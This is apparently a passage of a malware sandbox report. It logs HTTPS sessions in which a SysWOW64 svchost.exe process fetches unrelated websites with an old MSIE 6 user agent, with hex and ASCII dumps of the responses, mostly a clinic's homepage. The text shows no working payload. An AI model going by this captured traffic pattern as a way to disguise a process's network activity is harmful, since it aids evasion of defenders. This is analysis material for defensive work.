6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c Data Ascii: tainer" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a><
2023-03-10 06:56:16 UTC	738	IN	Data Raw: 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 Data Ascii: m g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-ite
2023-03-10 06:56:16 UTC	739	IN	Data Raw: 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 Data Ascii: class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g
2023-03-10 06:56:16 UTC	741	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f Data Ascii: class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-compo
2023-03-10 06:56:16 UTC	742	IN	Data Raw: 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 Data Ascii: ><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup bac
2023-03-10 06:56:16 UTC	744	IN	Data Raw: 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 Data Ascii: : 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gaf
2023-03-10 06:56:16 UTC	745	IN	Data Raw: 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 Data Ascii: ById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener
2023-03-10 06:56:16 UTC	746	IN	Data Raw: 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d Data Ascii: ock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-
2023-03-10 06:56:16 UTC	748	IN	Data Raw: 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 Data Ascii: /home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedb
2023-03-10 06:56:16 UTC	749	IN	Data Raw: 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 Data Ascii: pecialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure
2023-03-10 06:56:16 UTC	750	IN	Data Raw: 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d Data Ascii: -home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class=
2023-03-10 06:56:16 UTC	752	IN	Data Raw: 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 Data Ascii: ss="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><d
2023-03-10 06:56:16 UTC	753	IN	Data Raw: 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 Data Ascii: e atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br
2023-03-10 06:56:16 UTC	754	IN	Data Raw: 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 Data Ascii: /div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57
2023-03-10 06:56:16 UTC	756	IN	Data Raw: 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 Data Ascii: ticle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-conte
2023-03-10 06:56:16 UTC	757	IN	Data Raw: 34 34 36 0d 0a 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 Data Ascii: 446 type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text
2023-03-10 06:56:16 UTC	758	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	54892	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	671	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:16 UTC	671	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:16 UTC	672	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	54996	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	672	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:16 UTC	673	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:16 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:16 UTC	673	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	54938	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:16 UTC	672	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:16 UTC	675	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:16 UTC	675	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
